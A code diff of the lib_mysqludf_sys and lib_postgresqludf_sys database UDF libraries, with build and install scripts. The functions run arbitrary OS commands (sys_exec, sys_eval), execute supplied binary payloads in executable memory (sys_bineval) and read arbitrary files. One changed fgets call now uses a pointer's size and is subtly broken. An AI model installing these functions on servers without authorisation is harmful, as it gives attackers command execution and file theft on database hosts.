@@ -37,7 +37,7 @@ fi
|
||||
|
||||
echo -e "\nPlease provide your MySQL root password"
|
||||
|
||||
mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
|
||||
mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
+26
-10
@@ -19,6 +19,7 @@
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
@@ -55,7 +56,7 @@ typedef long long longlong;
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
@@ -435,17 +436,20 @@ char* sys_eval(
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char line[1024];
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
result = malloc(1);
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = realloc(result, outlen + linelen);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
@@ -479,7 +483,6 @@ int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
@@ -491,8 +494,7 @@ int sys_bineval(
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
@@ -528,7 +530,22 @@ int sys_bineval(
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
@@ -541,11 +558,10 @@ DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
#endif /* HAVE_DLOPEN */
|
||||
@@ -0,0 +1,16 @@
|
||||
LIBDIR=/tmp
|
||||
|
||||
8.4:
|
||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.3:
|
||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.2:
|
||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
Executable → Regular
+36
-33
@@ -46,6 +46,33 @@ DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
char *text_ptr_to_char_ptr(text *arg)
|
||||
{
|
||||
char *retVal;
|
||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
||||
retVal = (char *)malloc(arg_size + 1);
|
||||
|
||||
memcpy(retVal, VARDATA(arg), arg_size);
|
||||
retVal[arg_size] = '\0';
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
text *chr_ptr_to_text_ptr(char *arg)
|
||||
{
|
||||
text *retVal;
|
||||
|
||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
||||
#else
|
||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
@@ -53,15 +80,10 @@ extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
command = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(command, VARDATA(argv0), argv0_size);
|
||||
command[argv0_size] = '\0';
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
@@ -83,27 +105,25 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char line[1024];
|
||||
char *line;
|
||||
int32 outlen, linelen;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
command = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(command, VARDATA(argv0), argv0_size);
|
||||
command[argv0_size] = '\0';
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
@@ -119,13 +139,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
result[outlen-1] = 0x00;
|
||||
}
|
||||
|
||||
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
#else
|
||||
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
@@ -216,7 +230,6 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
@@ -225,11 +238,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
filename = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(filename, VARDATA(argv0), argv0_size);
|
||||
filename[argv0_size] = '\0';
|
||||
filename = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
@@ -258,13 +267,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
#else
|
||||
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
@@ -0,0 +1,9 @@
|
||||
# For MySQL < 5.1
|
||||
LIBDIR=/usr/lib
|
||||
# For MySQL >= 5.1
|
||||
#LIBDIR=/usr/lib/mysql/plugin
|
||||
|
||||
install:
|
||||
gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so
|
||||
strip -sx lib_mysqludf_sys.so
|
||||
cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
#!/bin/bash
|
||||
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2007 Roland Bouman
|
||||
# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
# web: http://www.mysqludf.org/
|
||||
# email: [email protected], [email protected]
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
USER="root"
|
||||
PORT="3306"
|
||||
|
||||
echo "Compiling the MySQL UDF"
|
||||
make
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need libmysqlclient development software installed"
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
echo "apt-get install libmysqlclient-dev"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your MySQL root password"
|
||||
|
||||
mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF installed successfully"
|
||||
fi
|
||||
Executable → Regular
+567
-551
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,35 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: [email protected], [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||
DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
@@ -0,0 +1,16 @@
|
||||
LIBDIR=/tmp
|
||||
|
||||
8.4:
|
||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.3:
|
||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.2:
|
||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
#!/bin/bash
|
||||
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
# web: http://bernardodamele.blogspot.com/
|
||||
# email: [email protected]
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
USER="postgres"
|
||||
PORT="5434"
|
||||
VERSION="8.4"
|
||||
#PORT="5433"
|
||||
#VERSION="8.3"
|
||||
#PORT="5432"
|
||||
#VERSION="8.2"
|
||||
|
||||
echo "Compiling the PostgreSQL UDF"
|
||||
make ${VERSION}
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need postgresql-server development software installed"
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
|
||||
if test "${VERSION}" == "8.2"; then
|
||||
echo "apt-get install postgresql-server-dev-8.2"
|
||||
elif test "${VERSION}" == "8.3"; then
|
||||
echo "apt-get install postgresql-server-dev-8.3"
|
||||
elif test "${VERSION}" == "8.4"; then
|
||||
echo "apt-get install postgresql-server-dev-8.4"
|
||||
fi
|
||||
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
||||
|
||||
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF installed successfully"
|
||||
fi
|
||||
Executable → Regular
+36
-33
@@ -46,6 +46,33 @@ DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
char *text_ptr_to_char_ptr(text *arg)
|
||||
{
|
||||
char *retVal;
|
||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
||||
retVal = (char *)malloc(arg_size + 1);
|
||||
|
||||
memcpy(retVal, VARDATA(arg), arg_size);
|
||||
retVal[arg_size] = '\0';
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
text *chr_ptr_to_text_ptr(char *arg)
|
||||
{
|
||||
text *retVal;
|
||||
|
||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
||||
#else
|
||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
@@ -53,15 +80,10 @@ extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
command = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(command, VARDATA(argv0), argv0_size);
|
||||
command[argv0_size] = '\0';
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
@@ -83,27 +105,25 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char line[1024];
|
||||
char *line;
|
||||
int32 outlen, linelen;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
command = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(command, VARDATA(argv0), argv0_size);
|
||||
command[argv0_size] = '\0';
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
@@ -119,13 +139,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
result[outlen-1] = 0x00;
|
||||
}
|
||||
|
||||
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
#else
|
||||
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
@@ -216,7 +230,6 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
@@ -225,11 +238,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
filename = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(filename, VARDATA(argv0), argv0_size);
|
||||
filename[argv0_size] = '\0';
|
||||
filename = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
@@ -258,13 +267,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
#else
|
||||
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
@@ -0,0 +1,25 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
@@ -1,16 +0,0 @@
|
||||
LIBDIR=/tmp
|
||||
|
||||
8.4:
|
||||
gcc -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.3:
|
||||
gcc -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
|
||||
8.2:
|
||||
gcc -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
||||
strip -sx lib_postgresqludf_sys.so
|
||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
Executable → Regular
+20
-20
@@ -1,20 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual C++ Express 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual C++ Express 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: [email protected], [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
